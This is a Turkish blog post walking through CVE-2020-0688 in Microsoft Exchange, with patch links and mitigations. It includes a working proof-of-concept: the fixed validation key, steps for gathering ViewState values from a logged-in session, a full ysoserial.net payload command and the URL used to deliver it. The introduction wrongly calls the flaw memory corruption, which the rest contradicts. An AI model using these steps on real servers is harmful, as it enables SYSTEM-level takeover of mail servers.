9 Mart 2020 Pazartesi

CVE-2020-0688: SABİT KRİPTOGRAFİK TUŞLAR İLE MICROSOFT EXCHANGE SERVER’DA UZAKTAN KOD YÜRÜTME

Microsoft, Microsoft Exchange Server'daki bir uzaktan kod yürütme hatasını gidermek için bir düzeltme eki yayınladı.
Microsoft, bu hatanın bir bellek bozulması güvenlik açığı nedeniyle olduğunu ve güvenlik açığı bulunan bir Exchange sunucusuna gönderilen özel hazırlanmış bir e-posta tarafından kullanılabileceğini belirtti. Bunun nedeni, neredeyse tüm kullanıcıların bir Exchange posta kutusu olması ve sınırlı ayrıcalıklara sahip olmalarına rağmen sunucuda kimlik doğrulaması yapabilmesidir. Bu, hiçbir şekilde bir saldırgan için bir engel değildir, çünkü kimlik doğrulama bu güvenlik açığından başarıyla yararlanmak için tek gereksinimdir.Bu kusurdan yararlanmak için saldırganların yalnızca internetten erişilebilen savunmasız sunucular bulmaları, Outlook Web Access (OWA) portal URL'sinden topladıkları e-posta adreslerini aramaları ve veri ihlallerinden ilgili dökümleri almaları gerekir. Daha sonra, sadece bir kimlik bilgisi doldurma saldırısı başlatmalı ve isabet alana ve sunucuya giriş yapana kadar buna devam etmelidirler.
Güvenlik açığı, Exchange Server'ın kurulum sırasında unique kriptografik anahtarlar oluşturamaması nedeniyle ortaya çıkar. Özellikle, hata Exchange Control Panel (ECP) bileşeninde bulunur. Kurulum  başında rasgele oluşturulan anahtarlar yerine, Microsoft Exchange Server’ın tüm yüklemeleri web.config dosyasında aynı validationKey ve decryptionKey değerlerine sahiptir. Bu anahtarlar ViewState için güvenlik sağlamak için kullanılır. ViewState, ASP.NET web uygulamalarının istemcide serileştirilmiş biçimde sakladığı sunucu tarafı verilerdir. İstemci, bu verileri __VIEWSTATE istek parametresi aracılığıyla sunucuya geri sağlar.Statik anahtarların kullanılması nedeniyle, saldırgan sunucuyu kötü niyetle hazırlanmış ViewState verilerinin serisini kaldırması için kandırabilir. YSoSerial.net'in yardımıyla bir saldırgan, Exchange Control Panel web uygulaması bağlamında sunucuda rasgele .NET kodu çalıştırabilir ve SYSTEM olarak çalışır.
Bu güvenlik açığından yararlanmak için, kimliği doğrulanmış bir oturumdan ViewStateUserKey ve __VIEWSTATEGENERATOR değerlerini toplamamız gerekir. ViewStateUserKey, ASP.NET _SessionID çerezinden alınırken, ViewStateUserKey gizli bir alanda bulunabilir. Tüm bunlar tarayıcıdaki standart geliştirici araçları kullanılarak kolayca elde edilebilir.
Başlamak için /ecp/default.aspx sayfasına gidin ve giriş yapın. Kullanılan hesabın herhangi bir özel ayrıcalığa sahip olması gerekmez. Bu örnekte, user adlı bir hesap kullanılmaktadır:

Devam etmek için bazı bilgiler toplamamız gerekiyor. En değerli kısım zaten bilinmektedir:
validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1
ViewStateUserKey ve __VIEWSTATEGENERATOR'u elde etmek için Geliştirici Araçları'nın (F12) Ağ sekmesini açın ve F5 tuşuna basarak isteği yeniden gönderin. Giriş yaparken /ecp/default.aspx isteğinin yanıtına ihtiyacımız vardır:

Gördüğünüz gibi, __VIEWSTATEGENERATOR değeri sayfa kaynağında görülebilir. Bu örnekte, değeri B97B4E27'dir. Büyük olasılıkla, değeriniz aynı olacaktır. Ardından, Başlıklar sekmesini açın ve İstek başlıklarında ASP.NET_SessionId cookie sini bulunuz:

Bu örnekte, değeri 05ae4b41-51e1-4c3a-9241-6b87b169d663'tür.
Artık bir saldırı gerçekleştirmek için gereken tüm bilgilere sahibiz:
         --validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
         --validationalg = SHA1
         - generator = B97B4E27
         --viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663
Bir sonraki adım, ysoserial.net kullanarak bir ViewState payloadu oluşturmaktır. C: \ Vuln_Server.txt dosyasını oluşturarak kod çalıştırılmasını sağlayan bir payload oluştururuz:
      ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy



Son olarak, ViewState payloadunu URL-encoded olarak aşağıdaki gibi bir URL oluşturmamız gerekir:
/ecp/default.aspx? __ VIEWSTATEGENERATOR = <jeneratör> & __ viewstate = <ViewState>
yukarıda elde edilen generator ve URL-encoded ViewState'in yerine kullanılır.
Daha sonra, ortaya çıkan URL'i tarayıcıya yapıştırıp Exchange sunucusuna göndeririz:

Sunucu 500 Unexpected Error veriyor, ancak saldırı başarılı. Hedef sunucu üzerindeki etkinin incelenmesi:


Vuln_Server.txt dosyası şuan mevcuttur. Dosyadaki sahiplik bilgilerinin incelendiğinde bir SYSTEM belirteci olan bir işlem tarafından oluşturulduğunu onaylar.


Bu, bir saldırganın SYSTEM olarak rasgele kod yürütebildiğini ve hedef Exchange sunucusunu tamamen tehlikeye atabildiğini gösterir.
ETKİLENEN SİSTEMLER
Desteklenen tüm Microsoft Exchange Server sürümleri için güvenlik güncelleştirmelerini aşağıdaki linklerden indirebilirsiniz:
Microsoft Exchange Server 2010 SP3 Update Rollup 30 ->https://www.microsoft.com/en-us/download/details.aspx?id=100910
Microsoft Exchange Server 2013 Cumulative Update 23 ->https://www.microsoft.com/en-us/download/details.aspx?id=100909
Microsoft Exchange Server 2016 Cumulative Update 14->https://www.microsoft.com/en-us/download/details.aspx?id=100907
Microsoft Exchange Server 2016 Cumulative Update 15 ->https://www.microsoft.com/en-us/download/details.aspx?id=100908
Microsoft Exchange Server 2019 Cumulative Update 3 ->https://www.microsoft.com/en-us/download/details.aspx?id=100905
Microsoft Exchange Server 2019 Cumulative Update 4 ->https://www.microsoft.com/en-us/download/details.aspx?id=100906


ÇÖZÜM ÖNERİLERİ
Tüm yazılımları, minimum erişim haklarına sahip, ayrıcalıklı olmayan bir kullanıcı olarak çalıştırın. Gizli güvenlik açıklarının etkisini azaltmak için, yönetici olmayan yazılımları her zaman en az erişim haklarına sahip bir kullanıcı olarak çalıştırın.
Ağ trafiğini kötü amaçlı etkinliklere karşı izlemek için Network Intrusion Detection System(NIDS) kullanın. Bu, başarılı istismarlardan kaynaklanan istismar girişimlerini veya faaliyetlerini gösterebilir.
Bilinmeyen veya güvenilmeyen kaynaklar tarafından sağlanan bağlantılara gitmeyin.Web kullanıcıları, yabancı veya şüpheli kaynaklar tarafından sağlanan sitelere olan bağlantılara gitme konusunda dikkatli olmalıdır. HTML'yi e-postalardan filtrelemek, kullanıcılara kötü amaçlı bağlantılar iletmek için olası bir vektörün kaldırılmasına yardımcı olabilir.
Birden fazla güvenlik katmanı uygulayın. Memory-protection schemes (gerçekleştirilemeyen yığın, yığın yapılandırmaları ve rastgele eşlenen bellek segmentleri gibi), bellek bozulması güvenlik açıklarından yararlanılmasını zorlaştırır.
Güncellemeler yapınız.

SONUÇ
Microsoft bu güvenlik açığını Şubat 2020'de CVE-2020-0688 olarak ekledi. Bu güvenlik açığını “Microsoft Exchange'in kurulum sırasında anahtarları nasıl oluşturduğunu düzelterek” giderdiler. Artık yükleme sırasında kriptografik anahtarları rastgele seçmektedir. Microsoft, büyük olasılıkla bir saldırganın önce kimlik doğrulaması yapması gerektiği için bunu önem derecesi olarak değerlendirdi.
Bir kuruluş içerisinde çoğu kullanıcının Exchange sunucusunda kimlik doğrulaması yapmasına izin verilir. Herhangi bir kurumsal kullanıcının cihazını veya kimlik bilgilerini tehlikeye atan bir saldırgan, Exchange sunucusunu ele geçirmeye devam edebilir. Bunu başardıktan sonra, saldırgan kurumsal e-posta iletişimini istediği gibi açığa vurabilir veya farklı bir şekilde konumlandırabilir.
Buna göre, bir Exchange Server yöneticisiyseniz, bunu kritik olarak derecelendirilmiş bir yama olarak değerlendirmeli ve gerekli önlemleri almalısınız.
Microsoft bunu 1 Exploit Dizini ile listeler ve bu yama yayınından sonraki 30 gün içinde istismar görmeyi bekledikleri anlamına gelir.

REFERANSLAR
4) https://us.norton.com/online-threats/microsoftexchangecve-2020-0688remotememorycorruptionvul-111753-vulnerability.html



Share:

0 yorum:

Yorum Gönder

Microsoft Exchange Server 2019, 2016 ve 2013 için Güvenlik Güncellemesi

Microsoft Exchange Server’da yeni çıkan zafiyetlere karşı Microsoft yamalar yayınlamıştır. CVE-2021-31195 (Code injection) : Güvenlik açı...

Bu Blogda Ara

Blog Arşivi

Yorumlar

Popülar Postlar